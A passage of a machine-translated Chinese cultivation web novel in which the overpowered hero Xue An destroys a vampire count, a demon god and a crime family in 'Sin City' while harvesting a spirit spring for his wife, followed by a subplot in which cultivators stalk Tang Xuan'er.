    What''s more, those who passed away were all evildoers.


    The vehicle drove into the mining area, and the fluctuation of aura became more and more intense.


    On the ground and even on the dilapidated houses, various flowers and plants are constantly growing, and then they wither and decay very quickly.


    Repeatedly, endlessly!


    After Xue An got out of the car, he hugged his two daughters and went straight to a mine.


    Xue Xiang and Xue Nian looked around curiously!


    "Dad, it''s so pretty here!"


    There are shining flowers and plants everywhere, and the deserted mine dotted with it is a bit cruel.


    Xue An smiled, "It will be prettier in a while!"


    After entering the cave, I walked a long way inside.


    Suddenly, a broad space emerged in front of it.


    In the middle of the space, there is a spring water flowing.


    After the spring water flows on the ground, it transforms into various elves and dances in all spaces.


    Xue An''s eyes lit up, and it really was Lingquan!


    An Yan and these two little girls couldn''t help but feel a little silly watching this dreamlike scene.


    "Husband, so pretty!" An Yan murmured.


    Xue An smiled, "This Eye Lingquan hasn''t really matured yet. When it does mature, that will be the most beautiful scenery in the world!"


    I think that when Xue An traveled through the heavens, he once went to the Linghe in the heavens.


    In that place, people with insufficient cultivation are not allowed to go.


    Because once the cultivation base is not enough and the Dao heart is not firm enough, you will be fascinated by the beauty of the world, and you will never come back!


    Compared with that entrenched Linghe, this eye Lingquan can''t even compare with the root hair!


    But Xue An was still very satisfied.


    This world is too barren, and the aura is very thin. It would be nice to have this!


    "Yan''er, you and Missing Nian are staying here. They are very supportive of your cultivation!"


    "Where are you going, husband?" An Yan asked.


    "Of course I am guarding outside! After all, this Lingquan will have to be mature for a day or two! During this period, it will definitely attract countless prying eyes!" Xue An said.


    An Yan was worried.


    Xue An smiled, "Don''t worry, your husband is here, and the gods retreat!"


    With that, Xue An left the mine.


    Of course he said that, but Xue An was also a little uneasy, so when he left, he put all kinds of seals on this mine!


    In this way, as long as the golden fairy is not present, the fairy will not be able to enter!


    Xue An went outside the mine and found a clean place to sit cross-legged.


    Griffin walked around in a panic.


    He was completely convinced by Xue An now.


    Even without the curse in his soul, he would not dare to leave Xue An.


    But now I have a treasure on my own side, and God knows how many people will spy on it in secret!


    Thinking of this, Griffin couldn''t help but feel a little emboldened.


    Xue An remained unmoved, closed his eyes and began to adjust his breath and meditate.


    Bell family.


    The news of Bell''s death has come back.


    Come back together, there is little Bell''s body.


    All the members of the Bell family were present, but they all stood outside the office and waited. No one dared to enter, and no one dared to make a sound.


    Many people know that a great storm is coming!


    After a while, the office door opened.


    Old Bell walked out pale.


    He changed into a black suit with a white flower pinned on his chest.


    "Who is the murderer? Where is he now?" Old Bell asked softly.


    In the quiet tone, there was unimaginable anger and murderous intent.


    "Respectful godfather, the murderer was a man who lived on a street in a bar, a Chinese! As for where he is now, it is not clear yet!" A director of the Bell family stepped forward and said.


    Old Bell nodded, "Well, then grab everyone on the street in the bar and kill them one by one until you find out where this person is!"


    "Yes!"


    Just when the subordinates were about to leave.


    Someone ran back in a panic.


    "My Godfather, it''s not good! There was a crash over the mine!"


    "what happened?"


    "The mine has not been quiet tonight. It seems that the fountain of youth is about to emerge. When we were preparing for the report, we unexpectedly broke in and killed all those who were watching with our hands up! It happened to be stationed elsewhere, so I ran out by chance."


    Thinking of the scene just now, this person is still trembling!


    Old Bell''s eyes lit up.


    "Very well, kill my son. I still want to rob my family property. It seems that I should let you know how great it is!"


    "Send an order to call back all the dark night commanders!"


    "Yes!"


    Commander of the Dark Night!


    Hearing this name, these Bell family members all felt relieved.


    Since the strongest combat power of this family has been dispatched.


    So no matter who the other party is, you can''t live if you are right!


    But there are people who move faster than the Bell family.


    When Xue An was outside for the twentieth minute, a convoy of various heavy trucks rushed in.


    Many people came from the height of the team.


    These people are all cold-faced, sturdy, and carrying all kinds of guns in their hands.


    Then a man with a fierce face came over.


    Griffin was taken aback when seeing this man, then gritted his teeth and said: "Carter!"


    Yes, the person who came was Griffin''s pious subordinate Carter.


    Only when Griffin was forcibly driven out of Sin City later, this Carter rebelled and betrayed for the first time.


    Every time I read this, Griffin gritted his teeth.


    This Carter didn''t recognize Griffin at all at first, and after a while he said in surprise, "Are you... Griffin?"


    Griffin smiled sadly: "Hehe, my loyal dog, have you finally recognized the owner?"


    Carter''s expression changed and then sneered a few times, "Griffin, you are so courageous. You ran away and almost lost your life. Now you dare to come back?"


    Griffin said proudly: "Of course I want to come back, and I have to get back what belongs to me!"


    "What belongs to you?" Carter sneered, then looked a bit greedily at the shimmering mine.


    "You don''t deserve to have this kind of thing! Now, it belongs to my master!"


    With that, Carter stepped aside respectfully, and a blond man with an arrogant expression came over.


    "Carter, what''s the matter? Why the delay?"


    "Master, this strange Chinese man and my former boss blocked the way!" Carter said.


    The blond man looked at Xue An, who closed his eyes and adjusted his breath, and sneered disdainfully: "Who? Dare to block the way of my dark council?" The novel is invincible, starting with the latest chapter of the fairy tale. Chapter 284 The killer is not in his heart (sixth) URL: https://

 Chapter 285： Kinship 撒 杀

    The man''s accent had a strong English flavor, and his expression was extremely arrogant.


    thump!


    At this time, Griffin on the side knelt on the ground with sweat.


    The man turned to look at Griffin, frowning in disgust, "It''s actually a humble low-level demon!"


    Griffin was pale, with humiliation in his eyes, but he had no choice but to lower his head.


    Because this is from the repression of the lineage level.


    He could not resist at all.


    The blond man said lightly at this time: "Chinese, I''ll give you ten seconds. If you still don''t dissipate, I would like to taste the blood from the East."


    As he said, the blond man smiled slightly, showing two terrible fangs.


    Bloodlines!


    Senior presence in the dark race.


    With a life span of almost immortality and great strength, it once ruled Europe for thousands of years.


    But facing such a strong man, Xue An only slowly opened his eyes, and then frowned slightly.


    "roll!"


    boom!


    Following the word Xue An spit out, an invisible shock wave suddenly spread.


    The blond man was bombarded by a cannonball. He flew backwards, until he knocked over a heavy truck.


    Then the blond man''s face twisted, and he snorted angrily: "Chinese, you dare to attack the noble blood! Today, I will make you my blood slave!"


    Having said that, two magnificent black wings suddenly stretched out on the blond man''s back, and everyone floated into the air, exuding an extremely powerful aura.


    "Chinese people, this... is the result of you angering the noble Aldington Leicester!"


    After all, the blood count turned into a red light, rushing straight forward at an extremely fast speed.


    The speed was so fast that it even left many phantoms behind him.


    The most terrifying thing about blood races is their extremely fast speed.


    A smirk appeared on the corners of Lester''s mouth when he rushed closer.


    This Chinese is very strong, but his racial endowment makes him fearless!


    But in his hand, the moment he was about to touch Xue An.


    Xue An raised his hand and snapped his fingers!


    boom!


    Lester was blasted out at a faster speed, while half of his body exploded in the air, turning into a cloud of blood.


    In the blink of a finger, this blood count, whose strength is comparable to Sanxian, almost died.


    Lester stood in the distant mid-air, looking surprised.


    And the half of his body that was shattered began to grow at a very fast speed, and it was restored in the blink of an eye.


    Kindred is most proud of the immortal body!


    "Very good, you are really strong, it is worth my real strength!" Lester said in a deep voice!


    The momentum of all the people skyrocketed again! Then rushed again,


    boom!


    With a deafening explosion, the air was pierced by Lester.


    This Leicester actually broke through the sound barrier with pure force!


    Then there were two loud noises in succession!


    Three times the speed of sound!


    This terrifying speed turned Lester into an invincible weapon.


    In a moment.


    Lester rushed to Xue An''s side.


    "Die away!"


    Lester yelled, urging the family secret technique, and a huge blood claw rushed forward.


    But even in the face of such a terrible offensive, Xue An still did not get up, just stretched out a hand and directly caught the blood claw.


    Lester is overjoyed.


    The blood claws are attached to curses from the blood race, and once they are touched, they will be contaminated with various negative curses.


    But his joy only lasted for less than half a second before it solidified.


    Because Xue An''s hands suddenly rose up a snow-white flame.


    The blood claws under the flame, like ice and snow under the scorching sun, melted in the blink of an eye!


    Lester screamed in horror, "Shen Yan! No..."


    Then he turned and ran.


    And directly escaped at five times the speed of sound.


    This divine flame has a natural repression of the dark race, making him full of fear.


    But Xue An just waved his hand, and a sword light flew straight past, directly cutting Lester''s figure in half.


    And this time, no matter how much Leicester struggled in the air, he couldn''t heal his body!


    Sword Qi began to slowly erode Lester''s body.


    His momentum quickly weakened and went down.


    This blood count, who has survived for hundreds of years, felt the smell of death for the first time!


    "No... please, don''t kill me! I can give you endless wealth, please spare my life!" Lester shouted in horror.


    Xue An was not moved at all.


    At this time, Lester had already fallen, and everyone began to march down sharply.


    He knew that he was finished, so he shouted before his death: "You killed a noble blood count, my family, and all the blood councils will seek revenge from you! You will become the most humble blood slave for life and death. Enslaved by my blood!"


    Following Lester''s voice, a mark of gray light emerged in Xue An''s hand.


    When Lester saw this, he laughed, "This is a curse from me! You can never erase it."


    But Xue An just looked down at the mark on his arm, and then flicked it with his hand, a ball of gray light was suspended in Xue An''s palm.


    Lester''s eyes stared.


    "How... how is it possible? How can you get rid of the curse of the blood race?"


    Xue An shook his head, "Is this your curse? It''s too brief!"


    Among the heavens and all realms, there are sects that specialize in cursing.


    Those most advanced curses can even directly curse Da Luo immortal!


    Even Xianzun will have a headache when encountering such curses!


    Compared with that kind of curse, the curse of this blood race is as simple as a blank sheet of paper.


    "Today I will let you see what the real curse is!"


    As he said, Xue An pointed with his hand, and the gray brilliance suddenly turned into a black color, and then flew directly in front of Leicester and printed directly on his forehead.


    Lester didn''t even have time to make a scream, and he turned into fly ash and disappeared.


    At the same time, Europe is thousands of miles away.


    In an ancient castle in the country, a dozen members of the Aldington family who were tasting the blood suddenly began to decline.


    The few weak barons disappeared without even making a sound.


    This scene caused many blood races to scream.


    "It''s a curse! HurryPlease ask the owner!"


    At this moment, an extremely powerful aura came directly into the castle.


    A blood clan with long golden wings emerged in the air.


    Many kinsmen knelt down one after another, "Master Patriarch! Please help me and wait!"


    At this moment, David, the head of the Aldington family, looked gloomy.


    He was sleeping, but he was suddenly entangled by a strong curse. In the end, he had to spend a hundred years of life before he was resolved!


    who is it!


    How dare to use curses to deal with my Aldington family!


    At this time, the blood races who were present yelled bitterly, and they turned into flying ashes and died on the spot! The novel is invincible, starting with Dad of the Immortal Zun, the latest chapter Chapter 285 Blood Curse (first update) URL: https://

 Chapter 286： Kill him at all costs

    And before the abandoned mine in Sin City.


    The tragic death of the kin Lester made Griffin lower his head very humbly, and he even wanted to kiss Xue An''s toes.


    As a demon, he knew better than anyone the hardship of killing a blood nobleman.


    You can put them under house arrest or eliminate them from above, but as long as there is a drop of blood, they will be reborn!


    But just now, Leicester is completely turned into fly ash, which means that it has disappeared forever!


    And this is just the result of Xue An''s casual actions.


    At this moment, Griffin completely surrendered.


    As for Carter and others, they were all dumbfounded.


    Especially Carter, he was originally full of burdens, thinking that with the power of the blood, he could even unify the city of sin and become the dark king of this city.


    Unexpectedly, the incomparable blood in his mind was killed by this Chinese man.


    This man is terrible!


    Thinking of this, Carter was trembling all over, then quietly stepped back.


    But Griffin obviously didn''t intend to let him go.


    "Hehe, my dear Carter, why? Are you still thinking about leaving now?" Griffin said with a sneer.


    Carter''s expression froze, and then forced a smile: "Your Excellency Griffin, betrayal is a normal thing in Sin City, isn''t this what you said?"


    "That''s right, but it can only be me betraying others, not others betraying me!"


    Then Griffin said to Xue An, "My lord, these guys are all heinous, please kill them all!"


    Hearing Griffin''s words, Carter was so scared that he turned around and ran.


    It''s not just him!


    Even those who came with them fled in all directions.


    But just as they ran tens of meters away, they saw countless vehicles driving to the gate of the abandoned mine.


    Carter and the others couldn''t open their eyes at all, illuminated by the dazzling lights.


    When they were panicking, countless men in black walked out of the car.


    These people are all exuding blood and sturdy air, and they are all elite criminals.


    Carter looked silly.


    "This...this is from the Bell family!"


    In the middle of a vintage car inlaid with Phnom Penh, Old Bell walked slowly down.


    As soon as he emerged, these men in black stood solemnly, bowing their heads in silence!


    This kind of formation made Carter and the others courageous.


    After a while, Carter squeezed out a flattering smile, "My Godfather! The person you are looking for is over there!"


    Old Bell showed a slight smile on his pale face, and nodded toward the card characteristic, "Carter, thank you!"


    After speaking, Old Bell walked in.


    Carter quickly lowered his head.


    I was a little excited.


    Old Bell was out in person, you still have to die?


    When Old Bell walked away, Carter just wanted to look up.


    Suddenly felt a sharp pain in his back, Carter was shocked and wanted to fight back, but the next second, a sharp dagger pierced his throat.


    Those who were killed with Carter, and his men.


    Within a few breaths, these people all became corpses, and they didn''t even have time to scream before they died.


    At this time these people all walked into the abandoned mine.


    Old Bell walked in front, and his men followed closely behind.


    Everyone wears a white flower on their chests.


    This kind of aura made Griffin look pale.


    Xue An looked calm, and didn''t even bother to lift his eyelids.


    Old Bell stopped and looked at Xue An quietly. After a long time, he said in a hoarse voice.


    "Chinese people, I am surprised that you did not leave Sin City."


    Xue An smiled faintly, "Leave? Why should I leave? Was it just for killing your son?"


    Xue An''s words made all these men commotion, and many people glared at Xue An.


    Old Bell waved his hand, everyone was quiet now, and his face became paler.


    "Little Bell is a good boy. He has a lot of good things on him. If time is taken, he will even be a darker than me!"


    "But you killed him yourself!"


    A ruthless look appeared on Old Bell''s face, "So, even though your cultivation base is very high, I will still kill you! At all costs!"


    After all, Old Bell took a step back.


    The people behind all raised their guns.


    Endless bullets are poured in, and the dense is like a barrage!


    But facing the bullet that could destroy a mountain, Xue An just smiled, then raised his palms and whispered, "Ten thousand swords return to the Sect!"


    Following Xue An''s words, countless sword qi burst out from Xue An''s palm and turned into a white torrent, directly blasting these incoming bullets into dust.


    Then the sword was like a dragon, and he went straight to Old Bell and others.


    But at this moment, a few black shadows suddenly emerged in the air, and then roared together, blocking the awe-inspiring sword.


    Sword Qi dispersed.


    Xue An raised his eyebrows slightly and looked up into the air.


    I saw three people in cloaks standing in the air. They couldn''t make clear their facial features. The only thing I could see were the eyes under the cloak that radiated evil light.


    Griffin exclaimed, "Dark...Dark Night Commander!"


    Commander of the Dark Night!


    The most mysterious existence in Sin City.


    It is also the strongest hole card of the Bell family!


    Xue An''s eyes grew cold, and he turned to look at Old Bell, "Devil Soul Refining? I am curious now, which Demon God in the Demon Realm has your Bell family reached an agreement with?"


    Hearing Xue An''s words, Old Bell''s expression changed, looking at Xue An in amazement.


    "Chinese people, your knowledge is very broad, yes, our Bell family is a devout believer of Lord Samael!


    After all, Old Bell pointed at Xue An, "Kill him!"


    The three dark night commanders instantly dissipated in place, and then appeared beside Xue An.


    Then the three jointly issued a blow.


    The endless dark air enveloped Xue An, the power was so powerful, and even the aftermath, everything turned into dust.


    A happy smile appeared at the corner of Old Bell''s mouth.


    In his opinion Xue An will pass away undoubtedly!


    After all, it was a combined blow from three dark night commanders!


    As for Griffin, he was crawling around enough to avoid the blow, crawling on the ground trembling.


    The magic pressure of these dark night commanders made him difficult even to turn his fingers.


    Your lord... Has he passed away? Griffin thought a little disappointed.


    But at this moment, a slender hand protruded from the devil energy, and then tore the devil energy barrier to pieces.


    "Do you know why I asked which demon **** you are cooperating with?" Xue An walked out of the devilish energy and asked lightly.


    Old Bell was stunned. He didn''t dare to trust him. Xue An was able to break the blow lightly.


    "Because... the original Lord of the Demon Realm once surrendered to my feet!" The novel is invincible, starting with the newest chapter of the new chapter, the 286th chapter of the newest chapter of Daddy Xianzun, kill him at any cost (second more) URL: https ://

 Chapter 287： The devil must bow his head when he sees me

    Following Xue An''s words, a snow-white flame rose from the feet of the three dark night commanders, covering them all in the blink of an eye.


    The three screamed.


    Then it is like a candle torch, melted by the flame, disappearing.


    Everyone watching this scene was stunned.


    Old Bell even exclaimed, "How... how is it possible?"


    Those are three dark night commanders!


    But he was killed by Xue An!


    This result made him feel cold.


    Xue An smiled faintly, "With me, nothing is impossible!"


    After all, Xue An took a step forward.


    boom!


    The power of this step shocked the world.


    These old Bell''s men were directly shocked by this kick.


    Old Bell did not die, but he was also hurt by the shock.


    At this moment, a look of horror appeared on his face, and it was finally clear how tough this man was.


    Immediately, old Bell''s face showed ruthlessness and madness.


    Then he took a black dagger from his arms and pierced it directly into his chest.


    There was no trace of blood flowing out, and all the blood seemed to be absorbed by this dagger.


    Old Bell also began to move down quickly.


    But he still roared.


    "Please come, Lord Demon God!"


    With his roar, the ground cracked a big crack.


    Then an incomparable momentum radiated from inside.


    A demon **** with a height of more than ten meters slowly rose from the crack in the ground.


    Old Bell was dying at the moment, but still shouted with surprise on his face, "Samael Lord, please punish this person!"


    This demon god��s arrogant expression on his face made him laugh a few times, "The Bell family, you sacrificed with your life and called me here just to kill a mortal person?"


    Old Bell nodded, "Master Samael, this person is very powerful, please help me kill him!"


    The Demon Samael nodded, "Your family has enshrined me for generations, I will help you once today!"


    He turned and looked at Xue An, first for a moment, then licked his lips greedily.


    "So rich and powerful! It''s a perfect tonic!"


    After all, he said arrogantly: "Mortal, you kneel down now, I can consider letting go of your soul, as long as yours!"


    Under his powerful aura, even the ground began to tremble slightly.


    But Xue An just looked at him faintly, and shook his head after a meeting, "No wonder I don''t have any impression of hearing your name, originally...just a middle-class demon!"


    Samael changed his face suddenly, "What did you say?"


    Xue An raised his fist, "I mean... Since you are here today, don''t want to leave!"


    After all, a punch!


    Samael''s face was arrogant, so he didn''t take it seriously.


    With the strength of his demonic body, there are few things in this world that can hurt him.


    But when Xue An blasted this punch, his expression changed dramatically.


    "impossible!"


    As soon as the word Neng was exited, Xue An''s punch was already close.


    boom!


    Samael was directly blasted far away by this punch.


    When he stopped his figure, his whole body was full of demonic energy, and his face was very bad.


    "What is your cultivation base? How could it hurt me?"


    Xue An was too lazy to respond to his question, but raised his fist again with interest.


    "Can you take me a punch? Very good, then come again!"


    boom!


    Sameer was bombed out again.


    This time, his arm was shattered, and his devilish energy began to tremble slightly.


    And Xue An didn''t give him a chance to breathe at all, and rushed up again like lightning.


    As a result, a surprising scene emerged in the air.


    A magnificent demon **** with a height of ten meters was bombarded by Xue An flying everywhere.


    Old Bell, who believed in the victory of the devil, had an open mouth, and didn''t trust his eyes at all.


    Is this still the omnipotent demon in his own eyes?


    Why is it that under this man''s fist, it seems like a ball is flying everywhere?


    Finally, Xue An stood still.


    Looking at Sameer again, his whole body was broken, his appearance was extremely sad, and Xue An''s eyes were full of horror.


    "You...who are you? You will never be a mortal person, otherwise it is impossible to hurt me!"


    Xue An smiled faintly, "Who am I? Fist will tell you!"


    As he said, Xue An slowly raised his fist.


    This time, he no longer had a playful mentality.


    "One punch... step on the sun and the moon!"


    The fifth style of the six killing gods was finally displayed by Xue An again.


    boom.


    The sun seemed to emerge under Xue An''s fist, and the extremely cruel light enveloped everything.


    Samael yelled, then, as if thinking of something, he trembled, and shouted in horror, "You...you are..."


    Xue An nodded, "Yes! I am!"


    After that, the light exploded.


    Samael originally thought that even if he was defeated, he would just be driven back to the Demon Realm.


    But I didn''t expect it to be this man! If I knew it was him, I would not dare to come anyway!


    "Ahhhhhhhhhhhhhhhhhhhh!" He roared unwillingly.


    Then, the sound stopped abruptly!


    This hapless demon **** was completely wiped out by Xue An''s punch.


    At this moment, Old Bell hasn''t died yet.


    Rather, he fell to the ground shivering.


    Xue An leaned down and looked at him, "Is there anything else I want to say?"


    "Who are you?" Old Bell asked with a trembling voice.


    "Me?" Xue An smiled, "I am Xue An!"


    After speaking, with a flick of his finger, a sword light blasted Old Bell''s head to pieces!


    At this time, Griffin got up from the ground, knelt down, and shouted in horror: "My lord!"


    Xue An''s punch just now hurt him as a demon!


    Xue An nodded, "Waiting here!"


    "Yes!"


    Xue An was a little impatient with these people''s repeated provocations, so he turned into a stream of light and flew back to the city of sin.


    In the black building where the Bell family is located.


    The Bell family members who stayed here were talking and laughing relaxedly.


    In their opinion, the three dark night commanders, as well as Old Bell''s personally!


    No one can match this lineup.


    At this moment, the few masters who stayed behind felt a shocking situation approaching rapidly.


    Before they could respond, Xue An had fallen on the roof.


    "Who are you?" These masters flew up to the top of the building after them, and asked solemnly.


    Xue An did not reply to them, but looked at the surrounding scenery and nodded.


    "This is it!"


    "Kill him!" These masters rushed together.


    Xue An ignored these people''s offenses, holding empty palms, and said indifferently: "Borrow the moonlight over the city!"


    With his voice.


    The moonlight that enveloped the world suddenly changed, and then turned into a boundless sword energy.


    These masters did not even utter a scream, they were directly bombarded by Jian Qi to become fans.


    And even the building under his feet was swallowed by sword qi, and turned directly into powder. As for the Bell family inside, it was completely destroyed.


    Then these sword auras rose into the sky and turned into a grand sword curtain covering the whole city!


    Vin Sinan was healing her wounds in her headquarters. Suddenly, her face changed drastically and she rushed out, looking up at the sky full of sword energy, her face full of disbelief.


    "This...is this your real strength?" Vin Sinan whispered to himself.


    At this moment, countless masters in Sin City looked at the sky in horror.


    "what is that?"


    Xue An stood in the air and said lightly: "Go!"


    Following his instructions, the sword qi rained down.


    That night!


    In the city of sin, dozens of unforgivable people are all turned into powder.


    The name of Xue An, Megatron! The novel is invincible, starting with the newest chapter, the newest chapter, Chapter 287, when the devil sees me (third update) URL: https://

 Chapter 288： 1 The power of sword, unparalleled in the world!

    National Intelligence Service.


    "Boss, it''s an urgent encrypted file from Sin City. Would you like to take a look?" an agent asked.


    The intelligence chief, Quexi, was sipping coffee in peace, and smiled after hearing what his subordinates said: "Sin City? What documents can there be? Is it a murder case?"


    Quisi''s words drew a lot of people''s laughter.


    Sin City is already an extra-legal place in the country, who cares if there are people who have passed away.


    Quesi took the file and opened it while drinking coffee.


    puff!


    As soon as he saw the beginning, all the coffee in Quesi''s mouth was squirted out.


    "Boss, what''s wrong with you?" someone asked in surprise.


    Quixi didn''t care about wiping the coffee on his body, and murmured to himself, "It''s him! He is even more powerful than he thought! No, this must be reported to the Chief Director immediately!"


    With that said, he didn''t care about other things, got up and ran upstairs.


    When he came to the door, he didn''t care about being polite and pushed the door directly.


    "Your Honorable Director, you..."


    Quesi stopped.


    Because at this moment, in this huge office, Jiangxing is cruel.


    And his immediate boss, the elegant old lady, was looking at the screen with horror at the moment.


    The picture on the screen is exactly the scene where all the sin city is shrouded in sword spirit.


    When the sword energy fell like rain, and the countless evildoers were directly cut into powder, everyone in the office screamed.


    When the scene was over, the lady codenamed asked with a panic expression.


    "Your Excellency, if we face this man, do we have any good measures to deal with?"


    The lieutenant general of this country''s army looked extremely embarrassed and shook his head after hesitating for a while.


    "His ability is almost incomprehensible! We have no measures to solve him in the first place, unless...using tactical nuclear weapons!"


    The words of the Lieutenant General made the room quiet.


    "Send someone to pay close attention to him, and remember not to provoke him! At least one thing is good news, and that is that our oriental **** has some bottom lines, and those who kill and die are all heinous forgotten! "The lady said with a wry smile.


    Similar scenes are being staged in various countries.


    Countless people began to calculate what method could be used to subdue Xue An.


    The results that can be calculated without exception show that unless top weapons are used, Xue An''s ability is almost insoluble.


    Intelligence staff in many countries adjusted Xue An''s danger level to the top level, and then began to close the news frantically to prevent riots after the news spread.


    Just when the outside world was agitated due to this incident.


    Xue stayed quietly in front of the mining area for three days.


    In these three days, no one dared to step into the area of ??2,000 meters in the abandoned mining area.


    Because Xue An''s shocking sword is too daunting.


    Killed half of the population of Sin City!


    The Bell family dissipated along with the iconic black building.


    Faced with such a stunning method, who can not be frightened.


    now.


    Xue An finally opened his eyes, a hint of joy flashed on his face.


    "Mature!"


    Seeing the aura of all the mining areas skyrocketed again, the ground and walls were full of delicate flowers.


    Xue An got up and went into the mine.


    Because of the aura, the mother and daughter of Anyan didn''t even have to eat!


    However, in order not to let the two little girls and An Yan feel bored, Xue An sent a variety of snacks and toys, including a brand new notebook.


    So during these three days, An Yan took two little girls in the mine, playing games and eating snacks in the mine.


    When Xue An returned inside, he first stood behind An Yan secretly.


    I have to say that the environment in this mine is too suitable for playing scary games.


    For example, An Yan is closing her eyes and playing a horrible survival game with words in her mouth.


    Xue An lightly put his hand on her shoulder.


    An Yan yelled in horror and jumped up from his seat.


    When she turned her head and saw Xue An, she patted her chest, "Scared me, scared me!"


    Xue An laughed, "How do you feel?"


    "The game is fun!"


    Xue An was a little speechless, "I mean, how has your cultivation progressed in these three days?"


    An Yan thought for a while, frowned, "How to describe it! It seems that some progress has been made!"


    Suddenly, she stretched her brows and picked up the pan on the side, "I feel I can kill a dinosaur in one pot now!"


    Xue An was so dumbfounded by An Yan that he nodded, "Okay, let''s go!"


    "Huh? What about this Lingquan?"


    "Of course I took it away together!"


    "Take it together? But this is spring water, how to bring it?" An Yan was a little unclear.


    Xue An smiled, "Of course I have measures for your husband!"


    As he said, Xue An knotted his hands and pointed at Lingquan.


    This eye of Lingquan suddenly floated from the ground, and then gradually shrank. When it flew into Xue An''s hands, it had already turned into a crystal clear gem.


    However, this gem still exudes aura, which makes people feel refreshed when they approach.


    An Yan originally wore a necklace of sea monster blood beads, and Xue An set this gem on it.


    Then he clapped his hands contentedly, "Well, wherever you go, you will be accompanied by the spirit spring!"


    An Yan didn''t know why, but he nodded.


    What she really didn''t know was that even those immortal disciples of the heavens, few had received her treatment like this.


    Lingquan Huazhu, carry it with you!


    This is so extravagant martial art ability to do so!


    Only Xue An is willing to love his wife!


    "Husband, shall we go home directly?" An Yan asked.


    "Don''t hurry, it''s okay anyway, first go back to the bar and have a look. I mourn the wine made by the fellow Old Stone!" Xue An said with a light smile.


    Sin City.


    Old Stone was busy in the bar with excitement.


    Although the population of Sin City is reduced by half, the business is better.


    Those who died because of their deaths are all heinous social scum.


    Now the law and order in Sin City has suddenly improved.


    No one in the bar fights easily.


    All this, I have to thank that man!


    Thinking of this, Old Stone couldn''t help but sigh.


    Who would have thought that the ordinary man would be so powerful?


    Old Stone heard those warriors admiringly said that the power of this sword is unparalleled in the world!


    Even the bars with old stones have become more and more prosperous.


    Since many people knew that Xue An came to Sin City and actually settled in this bar, they all rushed over.


    When Xue An walked into the bar.


    Old Stone was burying his head in wiping the cup, and when he heard the door rang, he said without looking up: "It''s not open yet, come back later."


    Xue An smiled faintly, "Just a glass of wine, I''ll leave after drinking!"


    Hearing this sound, Old Stone froze, then slowly raised his head to look at Xue An, and after a long time, he said in awe.


    "Yes, my lord!"The novel is invincible, starting with the newest chapter, Chapter 288, the power of a sword, the world is unparalleled! URL: https://

 Chapter 289： Kunlun villains enter Beijiang

    The drink was quickly prepared.


    Old Stone also concocted three glasses of juice very intimately and gave them to Anyan mother and daughter.


    Xue An drank slowly with a feather goblet.


    The old stone hid in the distance, looked at it with awe, and did not dare to come over.


    "How is Griffin now?" Xue An said lightly.


    After that day, Griffin returned to Sin City.


    Old Stone hurriedly said: "Very good, I heard him say, prepare to open a few formal enterprises, and stop doing those bad things!"


    Xue An smiled, will the devil change his temper?


    At this moment, the door of the bar was pushed open and Vin Sinan walked in.


    "Old Stone..."


    Then he widened his eyes and looked at Xue An.


    Xue An toasted and smiled, "What a coincidence!"


    Vin Sinan took a deep breath, nodded at An Yan with a smile, and then walked over.


    "Give me a cup of Twilight Love!"


    The wine was delivered soon.


    But she didn''t drink it, just watched it quietly. After a long time, she whispered: "Has the preparation gone?"


    Xue An nodded, "Of course I have to go!"


    Vince raised his feathers and said, "I wish you a smooth journey!"


    Xue An smiled, "Then what should I wish you? Is business prosperous?"


    Vin Sinan was a little embarrassed and said after a meeting: "In fact, many girls who were forced to come in during this period have already washed their hands and quit, and the rest are people with no future."


    Xue An smiled, "No need to explain, I am not a saint. When there is light, there will be darkness. This is normal! I killed those guys who died, not because of how many heinous crimes they committed, but... they made me feel Very annoying!"


    This explanation made Vin Sinan dumbfounded.


    One sword destroyed half of the city, just because of an annoyance?


    And just when Xue An was drinking wine in Sin City.


    In China.


    Beijiang.


    Tang Xuan''er led Xiaosha, preparing to go home.


    Now Tang Xuan''er is used to this kind of life.


    Bring Xiaosha to work, and buy some food on the way home after work. This is a simple day.


    "Xuan''er, go back!" Someone greeted with a smile.


    Tang Xuan''er smiled and nodded.


    Now Tang Xuan''er is known to everyone in the hospital.


    Not only because of her beauty, but more importantly because of her background.


    Colleagues in the hospital have seen Qin Yu, Miss Qin''s family, and drove to pick up Tang Xuan''er.


    Miss Qin family!


    What an identity is that!


    It is not an exaggeration to say that the dean of this hospital is not even qualified to see others.


    So many people even fawned on Tang Xuan''er.


    Regarding these, Tang Xuan''er just smiled.


    As soon as he got out of the hospital, Xiao Sha walked eastward as he was familiar with the road.


    "Hey, going there again! Can you take a day off? I''m embarrassed, OK!" Tang Xuan''er followed Xiao Sha helplessly, and said softly.


    Xiao Sha was not moved at all, and walked straight forward.


    Soon, he came to the door of a deli.


    The pupils were working absent-mindedly, and as soon as they saw Tang Xuan''er''s figure, everyone immediately became energetic as if they were electrified.


    "Sister, you are here!"


    Tang Xuan''er nodded.


    "Still the same?"


    "Further...more ten pounds!" Tang Xuan''er felt her face a little red when she said this.


    "Okay, wait a minute!" The elementary school student started to chop cooked food quickly.


    Soon, a large package of cooked food worth forty to fifty catties was cut.


    The little student asked: "Sister, can you carry it? How about I send it back to you!"


    "No need! Thank you!" Tang Xuan''er took the cooked food, turned and left.


    The pupils looked at Tang Xuan''er''s back and couldn''t help being a little silly.


    At this time, someone knocked on his head.


    The little student trembled, "Boss!"


    The owner of this delicatessen said helplessly: "Look at that again? Even the eyes are flying out!"


    The little student lowered his head, "I...I just look at it!"


    The boss sighed, "I''m telling you, this girl doesn''t have a normal background at first glance. Don''t worry about anything else, be clear?"


    "Yes!" the little apprentice bowed his head.


    But immediately, from the corner of his eye, he saw across the street, and several men suddenly walked forward.


    This is normal.


    But these men seemed to have just come here with the sister.


    Are they following this sister?


    The pupils'' hairs are standing up.


    No way!


    Miss sister is in danger, I must save her!


    Thinking of this, the pupils didn''t have time to take off their work clothes, so they rushed out, leaving behind the boss''s scolding.


    At this time, these men were talking quietly.


    "This little lady looks really good. Kunlun rarely sees such a pretty girl!" said one of the grim-faced people.


    "Yes, and the key is to have a pure temperament, which is just a chick at first sight!" someone said greedily.


    "But you said she is a mundane person, how could she offend Fairy Qianxue from Kunlun Qianxue Gate?"


    "Who knows, anyway, there will be rewards for catching Xiang Xiang!"


    That''s right, these people are all from Kunlun Wonderland.


    It was specially selected and sent by Fairy Qianxue.


    Their cultivation base has just entered the secular world without restriction, and it is very appropriate to perform these tasks.


    But Tang Xuan''er was completely unaware of this.


    Soon, she entered a deserted demolition area.


    Tang Xuan''er didn''t dare to leave this kind of place.


    But now that Xiaosha is by her side, it doesn''t matter where she goes.


    The few people who followed looked at each other, and their faces showed joy.


    "Just stay here! There are no people around, so take her and return to Kunlun directly!"


